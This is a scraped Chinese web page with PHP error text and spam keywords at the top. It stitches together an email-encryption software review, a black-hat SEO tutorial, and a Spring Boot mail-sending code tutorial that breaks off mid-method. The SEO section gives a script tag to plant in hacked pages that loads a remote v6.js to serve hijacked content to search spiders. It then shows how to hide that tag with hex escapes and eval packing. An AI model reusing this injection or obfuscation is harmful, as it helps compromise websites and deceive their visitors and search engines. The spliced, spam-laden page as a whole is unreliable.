Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 24式性无遮挡免费视频,精品一区二区三区电影,久久精品视频免费

          整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          信息安全不容忽視 體驗郵件加密功能

          信息安全不容忽視 體驗郵件加密功能

          泡網(wǎng)筆記本頻道2月4日 無論是在生活或是工作中我們都要用到電子郵件,而且?guī)缀跛械幕ヂ?lián)網(wǎng)使用者都擁有自己的電子郵箱。隨著網(wǎng)絡(luò)的高速發(fā)展,電子郵件的每日發(fā)送的數(shù)量也在不斷攀升,平均每分鐘全球就有上億封電子郵件發(fā)出。與此同時,信息泄露事件也總是流傳在我們耳邊,尤其是2014年國內(nèi)爆出了眾多互聯(lián)網(wǎng)安全問題,其中郵件泄密非常嚴(yán)重,安全性令人擔(dān)憂。在多數(shù)人看來,保護好自己的郵箱就是將郵箱密碼設(shè)置的越復(fù)雜越好,然而郵件泄露則可能發(fā)生在傳輸、存儲過程中,令人防不勝防。因此,對于自己的郵箱以及重要郵件還需要進一步的保護。

          電子郵件加密的重要性

          多數(shù)情況下我們?nèi)粘0l(fā)送的郵件都是沒有進行加密操作的,也就是說日常發(fā)送的郵件內(nèi)容傳輸均是以明文方式進行,一旦被攔截、盜取,郵件內(nèi)容將全盤曝光。郵件加密不僅僅被應(yīng)用在企業(yè)、政府等企業(yè)級別,包括學(xué)生向老師發(fā)送畢業(yè)論文等較為重要的郵件同樣需要進行加密操作。因此,發(fā)送加密郵件,也應(yīng)該是我們應(yīng)該了解的一部分網(wǎng)絡(luò)安全內(nèi)容。

          360加密郵發(fā)送、接收加密郵件

          前不久360出品了一款郵件加密軟件:360加密郵,下面筆者就來談?wù)勥@款加密軟件的試用體驗,同時也與常用的QQ郵箱、網(wǎng)易郵箱加密功能進行對比,讓大家對于這些主流郵箱加密軟件有更深的了解。此外,筆者也為大家?guī)硪恍┤粘J褂秒娮余]件的注意事項,以此告知大家如何正確并安全的使用郵箱,保護自己的郵件安全。

          首先,我們先來看看360加密郵這款軟件,該軟件有Windows版和Android版兩個版本,筆者在此以Windows版本為例。

          客戶端登陸

          初次使用時需要設(shè)置姓名,并且同時可以選擇在打開此應(yīng)用時是否需要輸入密碼,在此我們選擇需要密碼。在輸入密碼時,筆者嘗試輸入“123456”這樣安全系數(shù)低的密碼,軟件居然沒有任何危險提示,而且筆者設(shè)置的密碼提示也為123456,提示與密碼相同居然沒有提示,也沒有密碼太弱,相比來看缺少人性化的提醒。

          設(shè)置郵箱、手機號二次驗證

          接下來,我們需要登陸自己的郵箱,登陸過程與大多數(shù)的郵箱客戶端相似。不過,作為郵件加密軟件,還有兩個更為重要的設(shè)置。其中,第一個就是設(shè)置好目前郵箱的安全密碼,第二個就是需要手機號嚴(yán)重作為雙重保證。(注:此處的安全密碼為查看加密郵件的密碼)

          1,發(fā)送加密郵件

          在發(fā)送郵件的界面,我們可以看到兩種發(fā)送方式,如果想要發(fā)送加密郵件,只需要點擊“加密發(fā)送”即可發(fā)出加密郵件,操作非常簡單。此外,在360加密郵中抄送功能正常,但是沒有密送選項。

          2,接收加密郵件

          如果接收方是非360加密郵的注冊賬號,在查看經(jīng)過加密的郵件時,我們發(fā)現(xiàn)“加密”過的郵件變成了一個以“html"結(jié)尾的附件,也就是說這個附件是一個本地離線的網(wǎng)頁。

          打開附件后,彈出的網(wǎng)頁如上圖所示。在此,我們可以選擇輸入郵箱的安全密碼查看郵件,其中我們可以通過“接收郵件地址或發(fā)送郵件地址”的安全密碼進行查看。也意味著對方如果沒有在360加密郵進行注冊,那么則只能發(fā)送方的安全密碼查看郵件。

          如果接收郵件方是360加密郵注冊賬號,那么在加密郵的客戶端打開后即可看到完整的郵件內(nèi)容,并不需要進行手動輸入密碼進行驗證。這也是360加密郵基于IBC標(biāo)識密碼(SM9算法)的優(yōu)勢,對于雙方均注冊的用戶來說發(fā)送和接收加密郵件的使用體驗非常不錯,省去了以往需要驗證碼或證書驗證的步驟。

          筆者試用過后認為360加密郵與微軟的outlook軟件相差不大, 操作起來簡單、易懂,上手較快,是目前值得推薦的郵件加密軟件。

          QQ郵箱發(fā)送、接收加密郵件體驗

          除此以外,我們最常用的QQ郵箱和網(wǎng)易郵箱還支持網(wǎng)頁端直接發(fā)送加密郵件,可能你在日常使用時并未發(fā)現(xiàn),下面筆者就為大家?guī)鞶Q郵箱發(fā)送加密郵件的演示過程,而網(wǎng)易郵箱的發(fā)送方法大體相似,在此就不做演示。

          QQ郵箱網(wǎng)頁端,下方其他選項--“對郵件加密”

          輸入密碼,以供對方查看

          如果對方是QQ郵箱用戶,直接輸入密碼即可查看

          如果對方不是QQ郵箱用戶,則以zip壓縮包形式發(fā)送,打開zip文件時需要輸入密碼

          到這里,QQ郵箱發(fā)送加密郵件的過程基本就結(jié)束了。表面上看來,QQ郵箱網(wǎng)頁版相比360加密郵軟件不僅可以省去下載安裝客戶端的步驟,同時還能對每封郵件設(shè)立不同的安全密碼,整體的靈活性相對較高。但是從安全性來講,360加密郵確實更有優(yōu)勢一些。

          主流郵件加密安全性對比

          首先,我們需要了解目前郵件加密發(fā)送的加密方式。目前常用的電子郵件加密方式有:

          1,基于對稱密鑰方式

          安全性一般,此方式加密方式較為原始,使用起來也比較簡單、易懂,采用此方式發(fā)送基本可以等同于將郵件轉(zhuǎn)化為一個帶有密碼的壓縮文件,安全防護性一般,但使用起來比較靈活,網(wǎng)頁端同樣可使用。

          2,基于非對稱密鑰方式

          安全性高,此方式需要先交換密匙才能進行加解密操作等,這種加密方法只適用于企業(yè)、單位和一些高端用戶。

          3,基于IBC標(biāo)識密碼方式

          安全性高,此方式的原理是使用對稱算法加密郵件內(nèi)容,再使用對方的公鑰或證書來保證對稱算法的密鑰,使用較為便捷。

          4,基于鏈?zhǔn)郊用荏w系的方式

          安全性高,此方式每次都隨機生成一個隨機密鑰,再用對稱加密算法對明文加密,然后用RSA非對稱算法對該密鑰加密。

          我們看到的QQ郵箱和網(wǎng)易郵箱的網(wǎng)頁版均是次用了第一種基于口令的加密方式,也就是說這些加密的郵件只是簡單的基于口令加密的方式進行傳輸。然而,360加密郵采用的基于IBC標(biāo)識密碼(SM9算法)在安全性方面要更強大。

          因此,360加密郵采用了IBC標(biāo)識密碼(SM9算法),這也是一種目前較為安全的加密算法,相比QQ郵箱、網(wǎng)易郵箱的網(wǎng)頁版采用基于對稱(口令)式的加密方式來看,360加密郵在安全性上要略勝一籌。

          不僅僅是本文中提高的郵件加密軟件,還有包括了MailCloak、PGP、Omail等眾多郵件加密軟件,它們在安全性方面依舊有著很高的可靠性,在此筆者并不一一介紹,感興趣的朋友們可以自行嘗試。

          日常使用電子郵箱注意事項

          下面,筆者就為大家來總結(jié)在日常使用電子郵箱時還需要注意的安全性事項,希望大家在日常使用時提起注意。

          1,注冊多個電子郵箱帳戶,在各大網(wǎng)站注冊不要使用郵箱密碼

          日常我們在注冊網(wǎng)站時大多都需要用到電子郵箱,我們可以根據(jù)不同的需求使用不同的電子郵件進行注冊,以免某些網(wǎng)站遭遇泄露時注冊郵箱信息也被曝光。同時,我們在注冊時也不要使用與郵箱密碼相同的密碼,將風(fēng)險盡可能降低。

          2,郵件客戶端盡量選擇SSL驗證

          多數(shù)的郵箱客戶端可以設(shè)置SSL安全驗證

          我們?nèi)绻ㄟ^客戶端來進行接收、發(fā)送郵件的話,我們還可以設(shè)置SSL(一種安全協(xié)議)進行驗證,從而進一步保證郵件的安全,以發(fā)送過程中被攔截等以外情況。

          3,設(shè)置郵箱獨立密碼

          對于使用QQ郵箱的朋友來說,默認情況下郵箱密碼與QQ密碼相同,我們可以設(shè)置一個獨立的郵箱密碼,防止QQ密碼泄露后QQ郵箱也遭遇到泄露。

          4,郵箱重要文件夾加密

          如果說獨立密碼是第二層防護的話,那么給郵箱里的文件夾加鎖就是第三道防線了,對于使用QQ、網(wǎng)易等郵箱的朋友來說,可以直接設(shè)置文件夾加密,在日常整理郵件時可以將私密的郵件進行歸類,然后再進行獨立加密,可將整個文件夾的安全性再次提高。

          全文總結(jié):

          綜合來看,360加密郵在安全性方面表現(xiàn)出色,如果收發(fā)雙方均是注冊用戶,在收發(fā)雙方均可以直接閱讀而不用輸入安全密碼或者證書信息,其憑借此優(yōu)勢可以在郵件加密方面獲得很好的使用體驗,適合經(jīng)常發(fā)送加密郵件的用戶使用。而QQ郵箱、網(wǎng)易郵箱網(wǎng)頁版中采用的基于口令式的密碼加密,其靈活性更高,更適合臨時發(fā)送加密郵件來使用。

          目前主流的郵件加密并不需要用戶付出額外的使用成本,如果你對自己的私密信息足夠重視,筆者還是非常建議使用這種功能。最后,如果大家對于電子郵件加密方面有任何疑問,還可以與泡泡網(wǎng)筆記本頻道官方微博@泡本記進行溝通、交流。■

          一些黑帽SEO要對跳轉(zhuǎn)的js代碼進行加密,學(xué)習(xí)JavaScript加密方式,當(dāng)我們網(wǎng)站被黑時,看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網(wǎng)站被黑問題。今天,錯誤博客(cuowu.com)分享的內(nèi)容為《黑帽SEO教程為html中的js跳轉(zhuǎn)url加密》。希望對大家有所幫助。

          一、未加密的js代碼

          JavaScript跳轉(zhuǎn)是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:

          <script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

          這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內(nèi)容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內(nèi)容,如果是用戶直接訪問瀏覽器則會顯示原頁面內(nèi)容。

          二、16進制加密

          首先把上面的命令增加為如下:

          window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

          然后,對前面雙引號內(nèi)的內(nèi)容進行16進制加密,后面單引號內(nèi)容也同樣進行16進制加密,依次為:

          \x64\x6f\x63\x75\x6d\x65\x6e\x74

          \x77\x72\x69\x74\x65

          \x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

          這個可以用utf-8轉(zhuǎn)16進制加密在線工具即可。錯誤博客站長導(dǎo)航里面有。

          站長導(dǎo)航(https://cuowu.com/daohang/)

          加密完成后變?yōu)椋?/span>

          window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

          三、JS混淆加密壓縮

          然后,把上述的js代碼再次補充一下才能正常運行,即:

          <script type=”text/javascript”>

          window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

          </script>

          把中間window到</script>;的內(nèi)容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯誤博客站長導(dǎo)航里面有。

          站長導(dǎo)航(https://cuowu.com/daohang/)

          獲得如下加密代碼如下:

          eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

          最終獲得的加密代碼如下:

          <script type=”text/javascript”>

          eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

          </script>

          這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。

          以上就是錯誤博客(https://cuowu.com/)分享的內(nèi)容為《黑帽SEO為html中的js加密(js混淆與16進制加密)》。感謝您的閱讀。更多原創(chuàng)搜索“錯誤博客”。

          . 準(zhǔn)備工作


          1.1 qq郵箱設(shè)置


          本文默認使用qq郵箱來發(fā)送郵件,然后使用一個在線臨時郵箱來接收郵件。 為了讓程序能夠通過qq郵箱來發(fā)送郵件,必須在qq郵箱中配置一下打開IMAP/SMTP服務(wù)



          開啟的時候,需要通過手機發(fā)送一條信息作為驗證,驗證成功后,會給你一個授權(quán)碼,這個后面我們要用到




          2. SpringBoot項目配置


          2.1 springboot項目中引入email依賴


          <?xml version="1.0" encoding="UTF-8"?>
          <project xmlns="http://maven.apache.org/POM/4.0.0"
                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
              <modelVersion>4.0.0</modelVersion>
          
              <parent>
                  <groupId>org.springframework.boot</groupId>
                  <artifactId>spring-boot-starter-parent</artifactId>
                  <!--<version>2.7.11</version>-->
                  <version>2.5.5</version>
                  <relativePath/> <!-- lookup parent from repository -->
              </parent>
              <properties>
                  <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
                  <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
                  <java.version>1.8</java.version>
                  <project-name>spring-boot-email</project-name>
          
                  <maven.compiler.source>8</maven.compiler.source>
                  <maven.compiler.target>8</maven.compiler.target>
              </properties>
          
              <groupId>org.example</groupId>
              <artifactId>${project-name}</artifactId>
              <version>1.0-SNAPSHOT</version>
              <name>${project-name}</name>
              <description>${project-name}</description>
          
              <dependencies>
                  <!--發(fā)送郵件的依賴-->
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-mail</artifactId>
                  </dependency>
          
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-test</artifactId>
                      <scope>test</scope>
                  </dependency>
          
                  <!--web依賴-->
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-web</artifactId>
                  </dependency>
          
                  <!--=================應(yīng)用==================-->
                  <!-- thymeleaf模板 -->
                  <dependency>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-thymeleaf</artifactId>
                  </dependency>
          
                  <dependency>
                      <groupId>com.alibaba.fastjson2</groupId>
                      <artifactId>fastjson2</artifactId>
                      <version>2.0.25</version>
                  </dependency>
          
                  <dependency>
                      <groupId>org.apache.commons</groupId>
                      <artifactId>commons-lang3</artifactId>
                  </dependency>
          
                  <dependency>
                      <groupId>com.google.guava</groupId>
                      <artifactId>guava</artifactId>
                      <version>31.1-android</version>
                  </dependency>
              </dependencies>
          
              <build>
                  <plugins>
                      <plugin>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-maven-plugin</artifactId>
                          <version>2.7.1</version>
                          <configuration>
                              <excludes>
                                  <exclude>
                                      <groupId>org.projectlombok</groupId>
                                      <artifactId>lombok</artifactId>
                                  </exclude>
                              </excludes>
                          </configuration>
                      </plugin>
                  </plugins>
              </build>
          </project>


          2.2 application.yml配置信息


          server:
            port: 8000
            max-http-header-size: 8192
            servlet:
              encoding:
                charset: UTF-8
                force: true
                enabled: true
          
          #配置日志
          logging:
            level:
              root: info
          spring:
            application:
              name: spring-boot-email
            mvc.async.request-timeout: 20000
          
            mail:
              #    host: "smtp.163.com" # 發(fā)件服務(wù)器地址
              #    port: 25 # 常用郵件端口25、109、110、143、465、995、993、994 如果開啟了SSL安全則使用對應(yīng)的端口號,25為非加密端口號
              #    username: admin@163.com # 發(fā)送郵件的賬號
              #    password: 123456 # 配置密碼,注意,不是真正的密碼,而是剛剛申請到的授權(quán)碼
              #    default-encoding: utf-8 # 設(shè)置編碼
              host: smtp.exmail.qq.com
              port: 465
              username: test@xxx.cn
              password: 123123
              default-encoding: utf-8 # 設(shè)置編碼
              protocol: smtp
              properties: # 設(shè)置郵件超時時間防止服務(wù)器阻塞
                timeout: 5000
                connection-timeout: 5000
                write-timeout: 5000
                mail:
                  debug: true # 表示開啟 DEBUG 模式,這樣,郵件發(fā)送過程的日志會在控制臺打印出來,方便排查錯誤
                  # 官方建議使用 465 端口,而 465 端口是 SSL 協(xié)議的,所以不僅要換端口,
                  # 還需要進行 SSL 協(xié)議替換。下面是在 application.properties 進行的郵件發(fā)送相關(guān)配置,
                  smtp:
                    socketFactory:
                      port: 465
                    #socketFactoryClass: javax.net.ssl.SSLSocketFactory #配飾 SSL 加密工廠
                    ssl:
                      enable: true
            thymeleaf:
              cache: false
              mode: LEGACYHTML5 # 類型
              prefix: classpath:/templates/ # 模板存放的位置
              suffix: .html # 模板的后綴


          2.3 創(chuàng)建EmailModel


          用于封裝郵件中需要包含的信息


          package org.example.entity;
          
          import java.io.Serializable;
          import java.util.Map;
          
          /**
           * @author test 2023-05-08 10:52:59
           */
          public class EmailModel implements Serializable {
              /**
               * 收件人郵箱
               */
              private String[] recipientMailbox;
          
              /**
               * 郵件正文內(nèi)容
               */
              private String content;
          
              /**
               * 郵件主題
               */
              private String title;
          
              /**
               * 抄送人郵箱
               */
              private String[] ccMailbox;
          
              /**
               * 加密抄送人郵箱
               */
              private String[] bccMailbox;
          
              /**
               * 真實名稱/附件路徑
               * enclosures: {“fileNmae”: "filePath+fileNmae"}
               */
              private Map<String, Object> enclosures;
          
              //    附件是否添加的到正文,默認false不添加
              //    private Boolean is_;
          
          
              public String getContent() {
                  return content;
              }
          
              public void setContent(String content) {
                  this.content=content;
              }
          
              public String getTitle() {
                  return title;
              }
          
              public void setTitle(String title) {
                  this.title=title;
              }
          
              public String[] getRecipientMailbox() {
                  return recipientMailbox;
              }
          
              public void setRecipientMailbox(String[] recipientMailbox) {
                  this.recipientMailbox=recipientMailbox;
              }
          
              public String[] getCcMailbox() {
                  return ccMailbox;
              }
          
              public void setCcMailbox(String[] ccMailbox) {
                  this.ccMailbox=ccMailbox;
              }
          
              public String[] getBccMailbox() {
                  return bccMailbox;
              }
          
              public void setBccMailbox(String[] bccMailbox) {
                  this.bccMailbox=bccMailbox;
              }
          
              public Map<String, Object> getEnclosures() {
                  return enclosures;
              }
          
              public void setEnclosures(Map<String, Object> enclosures) {
                  this.enclosures=enclosures;
              }
          }


          2.4 創(chuàng)建EmailService


          package org.example.service;
          
          import org.apache.commons.lang3.ArrayUtils;
          import org.example.entity.EmailModel;
          import org.slf4j.Logger;
          import org.slf4j.LoggerFactory;
          import org.springframework.beans.factory.annotation.Autowired;
          import org.springframework.beans.factory.annotation.Value;
          import org.springframework.mail.SimpleMailMessage;
          import org.springframework.mail.javamail.JavaMailSender;
          import org.springframework.mail.javamail.MimeMessageHelper;
          import org.springframework.scheduling.annotation.EnableAsync;
          import org.springframework.stereotype.Service;
          import org.springframework.util.CollectionUtils;
          import org.thymeleaf.TemplateEngine;
          import org.thymeleaf.context.Context;
          
          import javax.annotation.Resource;
          import javax.mail.MessagingException;
          import javax.mail.internet.MimeMessage;
          import java.io.File;
          import java.util.Date;
          import java.util.Map;
          
          /**
           * @author Administrator
           */
          @Service
          @EnableAsync
          public class EmailService {
              Logger log=LoggerFactory.getLogger(getClass());
          
              /**
               * 將配置文件中的username注入到MAIL_USERNAME中, 這是發(fā)送人的郵箱地址
               */
              @Value("${spring.mail.username}")
              public String MAIL_USERNAME;
          
              /**
               * JavaMailSender類的對象, 是springboot自動裝配的
               */
              @Resource
              private JavaMailSender javaMailSender;
          
              /**
               * template 模板引擎
               */
              @Autowired
              private TemplateEngine templateEngine;
          
              /**
               * 發(fā)送簡單的郵件(內(nèi)容為純文本郵件)
               * @param model
               * @return
               */
              public boolean sendSimpleEmail(EmailModel model) {
                  SimpleMailMessage simpleMailMessage=new SimpleMailMessage();
          
                  // 設(shè)置發(fā)件人郵箱
                  simpleMailMessage.setFrom(MAIL_USERNAME);
          
                  // 設(shè)置接收人賬號
                  simpleMailMessage.setTo(model.getRecipientMailbox());
          
                  // 設(shè)置郵件標(biāo)題
                  simpleMailMessage.setSubject(model.getTitle());
          
                  // 設(shè)置抄送人
                  String[] ccMailbox=model.getCcMailbox();
                  if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                      simpleMailMessage.setCc(model.getCcMailbox());
                  }
          
                  // 加密抄送人郵箱
                  String[] bccMailbox=model.getBccMailbox();
                  if (ArrayUtils.isNotEmpty(bccMailbox)) {
                      simpleMailMessage.setBcc(model.getBccMailbox()); // 加密抄送
                  }
          
                  // 發(fā)送日期
                  simpleMailMessage.setSentDate(new Date());
          
                  // 設(shè)置郵件正文內(nèi)容
                  simpleMailMessage.setText(model.getContent());
          
                  // 發(fā)送郵件
                  javaMailSender.send(simpleMailMessage);
                  log.info("send simple email success!");
                  return true;
              }
          
              /**
               * 發(fā)送富文本郵件(附件,圖片,html等)
               *      使用MimeMessage來作為對象發(fā)送,
               *      但是郵件內(nèi)容需要通過 MimeMessageHelper 對象來進行封裝進MimeMessage 里
               * 注意:
               *      如果發(fā)送的內(nèi)容包括html標(biāo)簽, 則需要 helper.setText(email.getContent(),true);
               *      第二個參數(shù)要為true,表示開啟識別html標(biāo)簽.默認是false,也就是不識別.
               * @param model
               * @return
               */
              public boolean sendMimeEmail(EmailModel model) {
                  MimeMessage mimeMessage=javaMailSender.createMimeMessage();
                  MimeMessageHelper helper=new MimeMessageHelper(mimeMessage);
          
                  try {
                      // 設(shè)置發(fā)件人郵箱
                      helper.setFrom(MAIL_USERNAME);
          
                      // 設(shè)置接收人賬號
                      helper.setTo(model.getRecipientMailbox());
          
                      // 設(shè)置郵件標(biāo)題
                      helper.setSubject(model.getTitle());
          
                      // 設(shè)置抄送人
                      String[] ccMailbox=model.getCcMailbox();
                      if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                          helper.setCc(model.getCcMailbox());
                      }
          
                      // 加密抄送人郵箱
                      String[] bccMailbox=model.getBccMailbox();
                      if (ArrayUtils.isNotEmpty(bccMailbox)) {
                          helper.setBcc(model.getBccMailbox()); // 加密抄送
                      }
          
                      // 發(fā)送日期
                      helper.setSentDate(new Date());
          
                      // 發(fā)送的內(nèi)容包括html標(biāo)簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
                      // 使用 MimeMessage 對象, 調(diào)用setText方法, 里面的字符串是帶有html標(biāo)簽的字符串,
                      // 在發(fā)送郵件的時候會自動解析正文中的html標(biāo)簽
                      helper.setText(model.getContent(), true);
          
                      // 發(fā)送郵件
                      javaMailSender.send(mimeMessage);
                      log.info("send mime email success!");
                      return true;
                  } catch (MessagingException e) {
                      e.printStackTrace();
                      return false;
                  }
              }
          
              /**
               * 使用 MimeMessage 發(fā)送富文本郵件(附件,圖片,html等)
               * @param model
               * @return
               */
              public boolean sendAttachMimeEmail(EmailModel model) {
                  MimeMessage mimeMessage=javaMailSender.createMimeMessage();
          
                  try {
                      // 發(fā)送帶附件的郵件, 需要加一個參數(shù)為true
                      MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);
          
                      // 設(shè)置發(fā)件人郵箱
                      helper.setFrom(MAIL_USERNAME);
          
                      // 設(shè)置接收人賬號
                      helper.setTo(model.getRecipientMailbox());
          
                      // 設(shè)置郵件標(biāo)題
                      helper.setSubject(model.getTitle());
          
                      // 設(shè)置抄送人
                      String[] ccMailbox=model.getCcMailbox();
                      if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                          helper.setCc(model.getCcMailbox());
                      }
          
                      // 加密抄送人郵箱
                      String[] bccMailbox=model.getBccMailbox();
                      if (ArrayUtils.isNotEmpty(bccMailbox)) {
                          helper.setBcc(model.getBccMailbox()); // 加密抄送
                      }
          
                      // 發(fā)送日期
                      helper.setSentDate(new Date());
          
                      // 發(fā)送的內(nèi)容包括html標(biāo)簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
                      // 使用 MimeMessage 對象, 調(diào)用setText方法, 里面的字符串是帶有html標(biāo)簽的字符串,
                      // 在發(fā)送郵件的時候會自動解析正文中的html標(biāo)簽
                      helper.setText(model.getContent(), true);
          
                      Map<String, Object> enclosures=model.getEnclosures();
          
                      // 創(chuàng)建要傳遞的附件對象
                      if (!CollectionUtils.isEmpty(enclosures)) { // import org.springframework.util.CollectionUtils;
                          for (String key : enclosures.keySet()) {
                              // File file=new File("D:\mybatis.doc");
                              File file=new File((String) enclosures.get(key));
          
                              // 通過MimeMessageHelper對象的addAttachment方法來傳遞附件
                              // 第一個參數(shù)為附件名, 第二個參數(shù)為File對象
                              helper.addAttachment(key, file);
                          }
                      }
          
                      // 預(yù)覽文件
                      // helper.addAttachment("2.jpg", new File("E:\\pic\\2.jpg"));
                      // 配合前端可以直接預(yù)覽圖片
                      // helper.addInline("p01", new FileSystemResource(new File("E:\\pic\\2.jpg")));
                      // helper.addInline("p02", new FileSystemResource(new File("E:\\pic\\2.jpg")));
          
                      // 發(fā)送郵件
                      javaMailSender.send(mimeMessage);
                      log.info("send mime email success!");
                      return true;
                  } catch (MessagingException e) {
                      e.printStackTrace();
                      return false;
                  }
              }
          
              /**
               * 發(fā)送模板郵件 使用 thymeleaf 模板
               *   如果使用freemarker模板
               *       Configuration configuration=new Configuration(Configuration.VERSION_2_3_28);
               *       configuration.setClassForTemplateLoading(this.getClass(), "/templates");
               *       String emailContent=FreeMarkerTemplateUtils.processTemplateIntoString(configuration.getTemplate("mail.ftl"), params);
               * @param model
               * @return
               */
              public boolean sendTemplateMail(EmailModel model) {
                  // 發(fā)一個復(fù)雜一點的郵件
                  MimeMessage mimeMessage=javaMailSender.createMimeMessage();
          
                  try {
                      MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);
          
                      // 設(shè)置發(fā)件人郵箱
                      helper.setFrom(MAIL_USERNAME);
          
                      // 設(shè)置接收人賬號
                      helper.setTo(model.getRecipientMailbox());
          
                      // 設(shè)置郵件標(biāo)題
                      helper.setSubject(model.getTitle());
          
                      // 設(shè)置抄送人
                      String[] ccMailbox=model.getCcMailbox();
                      if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                          helper.setCc(model.getCcMailbox());
                      }
          
                      // 加密抄送人郵箱
                      String[] bccMailbox=model.getBccMailbox();
                      if (ArrayUtils.isNotEmpty(bccMailbox)) {
                          helper.setBcc(model.getBccMailbox()); // 加密抄送
                      }
          
                      // 發(fā)送日期
                      helper.setSentDate(new Date());
          
                      // 使用模板thymeleaf
                      // Context 是導(dǎo)這個包import org.thymeleaf.context.Context;
                      Context context=new Context();
                      // 定義模板數(shù)據(jù)
                      context.setVariables(model.getEnclosures());
                      // 獲取thymeleaf的html模板, 指定模板路徑
                      // 在 Spring Boot 中, 模板引擎的默認配置已經(jīng)將模板文件的根路徑設(shè)置為 /src/main/resources/templates
                      String emailContent=templateEngine.process("index.html", context);
          
                      // 發(fā)送的內(nèi)容包括html標(biāo)簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
                      // 使用 MimeMessage 對象, 調(diào)用setText方法, 里面的字符串是帶有html標(biāo)簽的字符串,
                      // 發(fā)送郵件的時候會自動解析正文中的html標(biāo)簽
                      helper.setText(emailContent, true);
          
                      Map<String, Object> enclosures=model.getEnclosures();
          
                      // 創(chuàng)建要傳遞的附件對象
